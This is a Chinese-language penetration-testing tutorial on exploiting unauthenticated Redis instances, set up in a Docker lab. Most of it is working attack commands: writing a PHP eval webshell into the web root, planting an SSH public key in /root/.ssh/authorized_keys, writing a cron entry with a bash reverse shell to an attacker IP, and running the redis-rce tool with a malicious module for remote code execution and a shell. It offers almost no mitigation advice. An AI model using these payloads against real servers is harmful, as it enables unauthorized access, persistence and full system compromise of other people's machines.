Redis错误配置利用-未授权-写webshell公钥计划任务-主从复制
文章目录
- 环境搭建
- Redis未授权
- Redis写webshell
- Redis写公钥
- Redis写计划任务
- Redis主从复制RCE
- 参考文章
环境搭建
使用docker搭建环境,以下环境持复现未授权访问,包括写计划任务、WebShell 和 SSH 公钥
git clone https://github.com/ajisai-babu/redis-unauth-hub
cd redis-unauth-hub
docker build -t redis-unauth-hub
docker run -d -p 6379:6379 redis-unauth-hub
#注意此处要复现写webshell和写ssh公钥需要将端口22、80也映射出来
#docker run -d -p 880:80 -p 822:22 -p 6379:6379 redis:vul
#置换为你的镜像名:tag即可,可使用docker ps查看是否成功开启
Redis未授权
原理
Redis默认监听0.0.0.0,保护模式关闭(protected-mode no),且无密码,攻击者可直接连接并执行高危命令,从而读写文件、执行系统命令或获取服务器权限
protected-mode优先级高于bind
复现
telnet直接连接
验证简单,直接telnet连接即可
telnet targer_ip target_port
#telnet 192.168.3.134 6379

redis-cli
使用redis-cli连接,kali自带
redis-cli -h target_ip -p target_port
#redis-cli -h 192.168.3.134 -p 6379
h:指定ip p:指定端口,当指向默认端口6379时可不使用这个参数直接使用redis-cli -h target_ip即可
another redis desktop manager
此处推荐一个图形化界面工具
https://gitee.com/qishibo/AnotherRedisDesktopManager/releases/tag/v1.7.1


Redis写webshell
原理
利用Redis持久化机制,将数据库文件保存为Web目录下的恶意文件
复现
若目标redis存在未授权或者在知晓密码的情况下,可进行下一步利用。若是目标redis具有可写权限,且知晓web路径的话,可写入webshell
config set dir /var/www/html/
//切换到网站的根目录,等会儿文件要生成到网站目录里config set dbfilename test.php
//在磁盘中生成木马文件,生成的文件名叫 test.php set xxx "\n\n\n<?php @eval($_POST['test']);?>\n\n\n"
//写入恶意代码到内存中,这里的\n\n\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行.save
//将内存中的数据导出到磁盘

使用webshell连接工具连接即可

Redis写公钥
原理
把SSH公钥塞进Redis,让Redis把这个公钥当成authorized_keys文件保存到/root/.ssh/目录里,从而实现无密码SSH登录。
复现
创建ssh-rsa密钥对,这里全部为空即可
ssh-keygen -t rsa

如此,在目录/root/.ssh目录下会生成相对应的文件

将公钥导入key.txt,这里将密钥开头和结尾添加了一些\n是用于防止乱码;
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") >key.txt
#这里将密钥开头和结尾添加了一些\n是用于防止乱码cat key.txt | redis-cli -h 目标IP -x set xxx
#cat key.txt | redis-cli -h 192.168.3.134 -x set xxx

config set dir /root/.ssh
//切换目录config set dbfilename authorized_keys
//设置文件名save
将内存中的数据写入磁盘

使用ssh连接即可,需保证id_rsa在此目录之下

Redis写计划任务
若是已知其计划任务的目录。可尝试写入计划任务
set xx "\n* * * * * bash -i >& /dev/tcp/目标ip/目标端口 0>&1\n"
//set xx "\n* * * * * bash -i >& /dev/tcp/192.168.3.132/4444 0>&1\n"
//星号表示的是计划任务的时间config set dir /var/spool/cron/
config set dbfilename root
save

查看监听的端口,发现已连接

Redis主从复制RCE
原理
通过主从复制机制让目标Redis从攻击者控制的恶意主节点同步数据,在同步过程中植入恶意模块实现远程代码执行。
环境搭建
下载二进制包
wget http://download.redis.io/releases/redis-4.0.11.tar.gz
加压后,复制一份。

进入相对应的目录后make编译,编译成功后在src目录下会存在redis-server这个启动脚本

修改配置文件
主从信息如下:
redis.master:192.168.3.134:6379
redis.slave:192.168.3.134:6380
需要修改redis.slave的配置文件redis.conf
bind 0.0.0.0
#允许远程连接protected-mode no
#关闭保护模式port 6380
#默认为6379,但是此处主机的6379为master所占端口slaveof 127.0.0.1 6379
作为从redis


开启服务
./redis-server ../redis.conf
#上述命令为开启redis服务,注意redis-server为上述make编译后的文件,
#在src目录下,redis.conf为上级目录下的配置文件。若不为默认配置,
#则后续不需指定配置文件
master

slave



至此环境搭建完成
复现
RedisModules-ExecuteCommand
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
进入目录后make编译,编译成功后,在src目录下会生成一个module.so的文件

我此处编译时,编译失败。在module.c加入以下代码,头文件编译成功
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
redis-rce
git clone https://github.com/Ridter/redis-rce
进入此目录,将刚刚生成的module.so复制到此目录下

拿下shell
python redis-rce.py -r target_ip -p target_port -L attack_ip -f module.so
#python redis-rce.py -r 192.168.3.134 -p 6380 -L 192.168.3.132 -f module.so
运行后可输入i获取一个交互式的shell,也可以输入r使其shell反弹
i

r


总结
主从复制,主要是对从redis的攻击,伪造主redis。在上述运行脚本攻击之后,发现之前的主从关系不复存在,断开。
参考文章
Redis错误配置利用总结
Redis主从复制RCE
